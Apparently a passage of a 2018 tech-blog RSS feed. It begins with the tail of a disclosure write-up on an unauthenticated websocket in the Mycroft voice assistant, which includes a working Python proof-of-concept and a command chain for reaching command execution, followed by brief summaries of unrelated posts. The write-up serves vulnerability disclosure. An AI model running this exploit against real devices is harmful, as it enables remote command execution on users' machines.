&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_event_loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_until_complete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sendPayload&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;And magically we have an answer from the vocal assistant saying &lt;code&gt;pwned&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;Well, now we can have Mycroft pronounce stuff remotely, but this is not a really big finding unless you want to scare your friends, right?&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://media1.tenor.com/images/8a4a99d3bd67ba8d9a025c36edf4a624/tenor.gif" /&gt;&lt;figcaption&gt;
      &lt;h4&gt;WRONG&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 class="headerLink" id="the-skills-system"&gt;
    &lt;a class="header-mark" href="#the-skills-system"&gt;&lt;/a&gt;3 The skills system&lt;/h2&gt;&lt;p&gt;Digging deeper we can see that Mycroft has a skills system and a default skill that can install others skills (pretty neat, right?)&lt;/p&gt;
&lt;p&gt;How is a skill composed? From what we can see from the documentation a default skill is composed by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dialog/en-us/command.dialog&lt;/code&gt; contains the vocal command that will trigger the skill&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vocab/en-us/answer.voc&lt;/code&gt; contains the answer that Mycroft will pronounce&lt;/li&gt;
&lt;li&gt;&lt;code&gt;requirements.txt&lt;/code&gt; contains the requirements for the skill that will be installed with &lt;code&gt;pip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__int__.py&lt;/code&gt; contains the main function of the skill and will be loaded when the skill is triggered&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 class="headerLink" id="what-can-i-do-now"&gt;
    &lt;a class="header-mark" href="#what-can-i-do-now"&gt;&lt;/a&gt;4 What can I do now?&lt;/h2&gt;&lt;p&gt;I could create a malicious skill that when triggered runs arbitrary code on the remote machine, but unfortunately this is not possible via vocal command unless the URL of the skill is not whitelisted via the online website. So this is possible but will be a little tricky.&lt;/p&gt;
&lt;h3 class="headerLink" id="so-im-done"&gt;
    &lt;a class="header-mark" href="#so-im-done"&gt;&lt;/a&gt;4.1 So I&amp;rsquo;m done?&lt;/h3&gt;&lt;p&gt;Not yet. I found out that I can trigger skills remotely and that is possible to execute commands on a remote machine convincing the user to install a malicious skill. I may have enough to submit a vulnerability report. But maybe I can do a bit better&amp;hellip;&lt;/p&gt;
&lt;h2 class="headerLink" id="getting-a-remote-shell-using-default-skills"&gt;
    &lt;a class="header-mark" href="#getting-a-remote-shell-using-default-skills"&gt;&lt;/a&gt;5 Getting a remote shell using default skills&lt;/h2&gt;&lt;p&gt;We know that Mycroft has some &lt;a href="https://github.com/MycroftAI/mycroft-skills" rel="noopener noreferrer" target="_blank"&gt;default skills&lt;/a&gt; like &lt;code&gt;open&lt;/code&gt; that will open an application and others that are whitelisted but not installed. Reading through to the list, I found a really interesting skill called &lt;code&gt;skill-autogui&lt;/code&gt;, whose description says &lt;code&gt;Manipulate your mouse and keyboard with Mycroft&lt;/code&gt;. &lt;strong&gt;We got it!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s try to combine everything we found so far into a PoC:&lt;/p&gt;
&lt;div class="code-block highlight is-open show-line-numbers  tw-group tw-my-2"&gt;
  &lt;div class="
    
    tw-flex 
    tw-flex-row
    tw-flex-1 
    tw-justify-between 
    tw-w-full tw-bg-bgColor-secondary
    "&gt;      
    &lt;button class="
        code-block-button
        tw-mx-2 
        tw-flex
        tw-flex-row
        tw-flex-1"&gt;
          &lt;div class="group-[.is-open]:tw-rotate-90 tw-transition-[transform] tw-duration-500 tw-ease-in-out print:!tw-hidden tw-w-min tw-h-min tw-my-1 tw-mx-1"&gt;&lt;svg class="icon" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"&gt;&lt;/svg&gt;&lt;/div&gt;
          &lt;p class="tw-select-none !tw-my-1"&gt;python&lt;/p&gt;
      &lt;/button&gt;

   &lt;div class="tw-flex"&gt;
      &lt;button class="
          line-number-button
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.show-line-numbers]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle line numbers"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"&gt;&lt;/svg&gt;&lt;/button&gt;

      &lt;button class="
          wrap-code-button
          tw-select-none 
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.is-wrap]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle code wrap"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"&gt;&lt;/svg&gt;&lt;/button&gt;
      
      &lt;button class="
          copy-code-button
          tw-select-none
          tw-mx-2 
          tw-hidden
          group-[.is-open]:tw-block
          hover:tw-text-fgColor-link 
          print:!tw-hidden" title="Copy code"&gt;
          &lt;span class="copy-icon tw-block"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"&gt;&lt;/svg&gt;&lt;/span&gt;
          &lt;span class="check-icon tw-hidden"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"&gt;&lt;/svg&gt;&lt;/span&gt;
      &lt;/button&gt;
        
      &lt;button class="
          tw-select-none 
          tw-mx-2 
          tw-block 
          group-[.is-open]:tw-hidden 
          print:!tw-hidden" disabled="disabled"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"&gt;&lt;/svg&gt;&lt;/button&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;pre class="tw-block tw-m-0 tw-p-0"&gt;&lt;code class="
      chroma 
      !tw-block 
      tw-p-0
      tw-m-0
      tw-transition-[max-height] 
      tw-duration-500 
      tw-ease-in-out 
      group-[.is-closed]:!tw-max-h-0 
      group-[.is-wrap]:tw-text-wrap
      tw-overflow-y-hidden
      tw-overflow-x-auto
      tw-scrollbar-thin
      " id="codeblock-id-4"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;asyncio&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;websockets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cmds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"mute audio"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;uri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ws://myserver:8181/core"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sendPayload&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cmds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;websockets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;websocket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;            &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;websocket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;data&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;utterances&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: [&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;type&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;recognizer_loop:utterance&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;context&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: null}"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_event_loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_until_complete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sendPayload&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Running the exploit with &lt;code&gt;python pwn.py &amp;quot;install autogui&amp;quot; &amp;quot;open xterm&amp;quot; &amp;quot;type echo pwned&amp;quot; &amp;quot;press enter&amp;quot;&lt;/code&gt;  allowed me to finally get a command execution on a Linux machine.&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://raw.githubusercontent.com/Nhoya/MycroftAI-RCE/master/PoC.gif" /&gt;&lt;figcaption&gt;
      &lt;h4&gt;PoC&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 class="headerLink" id="notes"&gt;
    &lt;a class="header-mark" href="#notes"&gt;&lt;/a&gt;6 &lt;em&gt;Notes&lt;/em&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;open xterm&lt;/code&gt; was needed because my test Linux environment had a DE installed, on a remote server the commands will be executed directly on TTY so this step is not nesessary.&lt;/li&gt;
&lt;li&gt;The skill branching had a &lt;a href="https://mycroft.ai/blog/skill-branching-18-02/" rel="noopener noreferrer" target="_blank"&gt;big change&lt;/a&gt; and now some skills are not (yet) available (autogui is one of them) but this is not the real point. Mycroft has skills to interact with domotic houses and other services that can still be manipulated (the lack of imagination is the limit here). The vulnerability lies in the lack of authentication for the ws.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 class="headerLink" id="affected-devices"&gt;
    &lt;a class="header-mark" href="#affected-devices"&gt;&lt;/a&gt;7 Affected devices&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;All the devices running Mycroft &amp;lt;= ? with the websocket server exposed (Mark-I has the websocket behind a firewall by default)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 class="headerLink" id="timeline"&gt;
    &lt;a class="header-mark" href="#timeline"&gt;&lt;/a&gt;8 Timeline&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;08/03/2018 Vulnerability found&lt;/li&gt;
&lt;li&gt;09/03/2018 Vulnerability reported&lt;/li&gt;
&lt;li&gt;13/03/2018 The CTO answered that they are aware of this problem and are currently working on a patch&lt;/li&gt;
&lt;li&gt;06/06/2018 The CTO said that they have no problem with the release of the vulnerability and will add a warning to remember the user to use a firewall &lt;code&gt;¯\_(ツ)_/¯&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;09/06/2018 Public disclosure&lt;/li&gt;
&lt;/ul&gt;</description><author>appsec &amp;amp; stuff</author><pubDate>Sun, 10 Jun 2018 21:59:09 GMT</pubDate><guid isPermaLink="true">https://appsec.space/posts/mycroft-ai-rce/</guid></item><item><title>A Battenberg in SVG</title><link>https://qubyte.codes/blog/a-battenberg-in-svg</link><description>&lt;p&gt;In celebration of the Battenberg theme, here is an animated Battenberg! It's
made of two SVG paths composed of lines and arcs. These are calculated using
three angles and a bucket load of trigonometry (I'm not as good as I used to be
at trig). A &lt;code&gt;requestAnimationFrame&lt;/code&gt; loop updates these angles and the paths.
Click on start to begin the animation. You can tweak the angular speeds using
the three number inputs.&lt;/p&gt;
&lt;p&gt;There are better ways to do this. I chose SVG to challenge myself!&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sun, 10 Jun 2018 21:14:20 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/a-battenberg-in-svg</guid></item><item><title>The stupidest EU proposal that you can and want to block NOW</title><link>https://stop.zona-m.net/2018/06/the-stupidest-eu-proposal-that-you-can-and-want-to-block-now/</link><description>&lt;p&gt;Here is my own humble summary of the stupidest idea you NEED to block now in Europe, in the simplest possible terms.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 10 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/the-stupidest-eu-proposal-that-you-can-and-want-to-block-now/</guid></item><item><title>My Own Car System, Rear Camera, Offline Maps &amp;amp; Routing on Raspberry Pi part I</title><link>https://blog.nobugware.com/post/2018/my_own_car_system_raspberry_pi_offline_mapping/</link><description>At first I needed a car rear camera, one thing led to another&amp;hellip;
My Car, from 2011, only has an LCD display and no rear camera, so I bought a PAL rear camera, we passed some cables from the rear window to the front then everything begun.
Here is my journey to transform my car into a modern system running on RPi3 (a never ending project).
Hardware I&amp;rsquo;m using an Rpi3 (old model).</description><author>Fabrice Aneche</author><pubDate>Sun, 10 Jun 2018 17:19:57 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2018/my_own_car_system_raspberry_pi_offline_mapping/</guid></item><item><title>Implementing metrics in Go</title><link>https://zserge.com/posts/metrics/</link><description>Metrics are data points representing your system behaviour over time. People instrument their long-running apps with metrics to see if there are or were any problems and if the system behaves as expected.
There are various metric types, but most common ones are counters, gauges and histograms.
Metric types Counter is simply an increasing number. You may use counters to track the number of served requests, number of errors, and so on.</description><author>zserge's blog</author><pubDate>Sun, 10 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/metrics/</guid></item><item><title>The biggest, untold problem of using blockchain in agriculture</title><link>https://stop.zona-m.net/2018/06/the-biggest-untold-problem-of-using-blockchain-in-agriculture/</link><description>&lt;p&gt;Blockchain is a promising technology that is still shock full of hype. Farming is a literally &lt;strong&gt;vital&lt;/strong&gt; component of society that is in dire straits worldwide. What happens if the two try to work together?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 09 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/the-biggest-untold-problem-of-using-blockchain-in-agriculture/</guid></item><item><title>[Knowledge snippet] - STM32 bootloader</title><link>https://ciesie.com/post/stm32_bootloader/</link><description>&lt;p&gt;You programmed STM32 microcontroller using Nucleo or Discovery boards. That means you used
&lt;em&gt;Serial Wire Debug&lt;/em&gt; (&lt;em&gt;SWD&lt;/em&gt;) for programming/debugging. Now, you are designing a PCB with a STM32
microcontroller on it, which means you have to be able to program it. One solution is uploading
the code through a &lt;em&gt;bootloader&lt;/em&gt; - a small piece of software, made by &lt;em&gt;ST&lt;/em&gt; that has been saved in the
protected (read-only) memory of the microcontroller. It&amp;rsquo;s a simple program which reads data, sent
from the host (PC) using a specific protocol, and saves it into &lt;em&gt;FLASH&lt;/em&gt; memory.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Sat, 09 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/stm32_bootloader/</guid></item><item><title>Riemann and Zabbix: Sending data from riemann to zabbix</title><link>https://srijan.ch/sending-data-from-riemann-to-zabbix</link><description>Tutorial for sending data from riemann to zabbix</description><author>Srijan Choudhary, all posts</author><pubDate>Fri, 08 Jun 2018 21:55:00 GMT</pubDate><guid isPermaLink="true">https://srijan.ch/sending-data-from-riemann-to-zabbix</guid></item><item><title>A look at the Compromised Gitea Release</title><link>https://grh.am/2018/a-look-at-the-compromised-gitea-release/</link><description>&lt;p&gt;Whilst casually browsing Hacker News, I stumbled upon a fairly new post which had hit the front page suggesting that a Gitea (a self-hosted GitHub alternative) may have had some of its &lt;a href="https://news.ycombinator.com/item?id=17260221"&gt;release binaries compromised&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The post linked to an &lt;a href="https://github.com/go-gitea/gitea/issues/4167"&gt;issue on the Gitea&amp;rsquo;s GitHub page&lt;/a&gt;, where at the time it was unclear what &amp;amp; how this had happened, just that the releases had been altered and were distributing something malicious. A few hours later, some new information comes to light in the form of SHA256 hashes.&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Fri, 08 Jun 2018 10:14:58 GMT</pubDate><guid isPermaLink="true">https://grh.am/2018/a-look-at-the-compromised-gitea-release/</guid></item><item><title>Webinar: Troubleshooting a Complex Oracle Performance Issue</title><link>https://tanelpoder.com/posts/2018-06-07-troubleshooting-a-complex-oracle-performance-issue/</link><description>&lt;p&gt;I was recently involved in a discussion around why would a regular Oracle foreground session wait for the &lt;em&gt;log file sequential read&lt;/em&gt; wait event. I then realized that I had never published my Hotsos Symposium 2014 talk about a relatively complex (treacherous?) Oracle performance issue involving multiple problems that &amp;ldquo;collide&amp;rdquo;. So I decided to run this presentation as a webinar next week + will demo some of my newer related scripts too!&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Thu, 07 Jun 2018 09:26:57 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/posts/2018-06-07-troubleshooting-a-complex-oracle-performance-issue/</guid></item><item><title>The rise of megathreads on reddit</title><link>https://blog.jonlu.ca/posts/the-rise-of-megathreads-on-reddit</link><description/><author>JonLuca's Blog</author><pubDate>Thu, 07 Jun 2018 05:06:43 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/the-rise-of-megathreads-on-reddit</guid></item><item><title>The Decline of the MacBook Pro</title><link>https://www.dannyguo.com/blog/the-decline-of-the-macbook-pro</link><author>Danny Guo</author><pubDate>Thu, 07 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/the-decline-of-the-macbook-pro</guid></item><item><title>China, Russia and California confirm urgent, worldwide need for Personal Clouds</title><link>https://stop.zona-m.net/2018/06/china-russia-and-california-confirm-urgent-worldwide-need-for-personal-clouds/</link><description>&lt;p&gt;&amp;ldquo;Data used to be much simpler&amp;rdquo;. Too simple, probably. Starting this year, we have one more reason to deploy personal clouds as soon as possible: peak data governance.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 06 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/china-russia-and-california-confirm-urgent-worldwide-need-for-personal-clouds/</guid></item><item><title>Deobfuscation and Understanding a Trojan Jscript</title><link>https://serhack.me/articles/deobfuscate-understand-trojan-jscript-en/</link><description>Over 50% of cyber attacks are executed through malware, whose job is to find a flaw to inject other types of viruses including malware, adware and much more. Knowing the computer remotely, it can spy on the screen and even crypt the files: a wrong click and you lose anything. -&lt;a href="https://serhack.me/articles/deobfuscate-understand-trojan-jscript-en/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Wed, 06 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/deobfuscate-understand-trojan-jscript-en/</guid></item><item><title>How to Setup a Python3 Development Environment (2018 Edition)</title><link>https://www.wints.org/notes/2018.06.06/</link><description>&lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt;
After needing to setup my dev environment on a few different machines/servers, I decided to document it. Eventually, I&amp;rsquo;ll make it into an Ansible playbook. I use Digital Ocean droplets. The initial setup is done by following this tutorial:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/initial-server-setup-with-ubuntu-16-04"&gt;&lt;strong&gt;Initial Server Setup with Ubuntu 16.04&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4 id="the-pieces"&gt;The Pieces &lt;a href="#the-pieces"&gt;¶&lt;/a&gt;&lt;/h4&gt;
&lt;ol&gt;
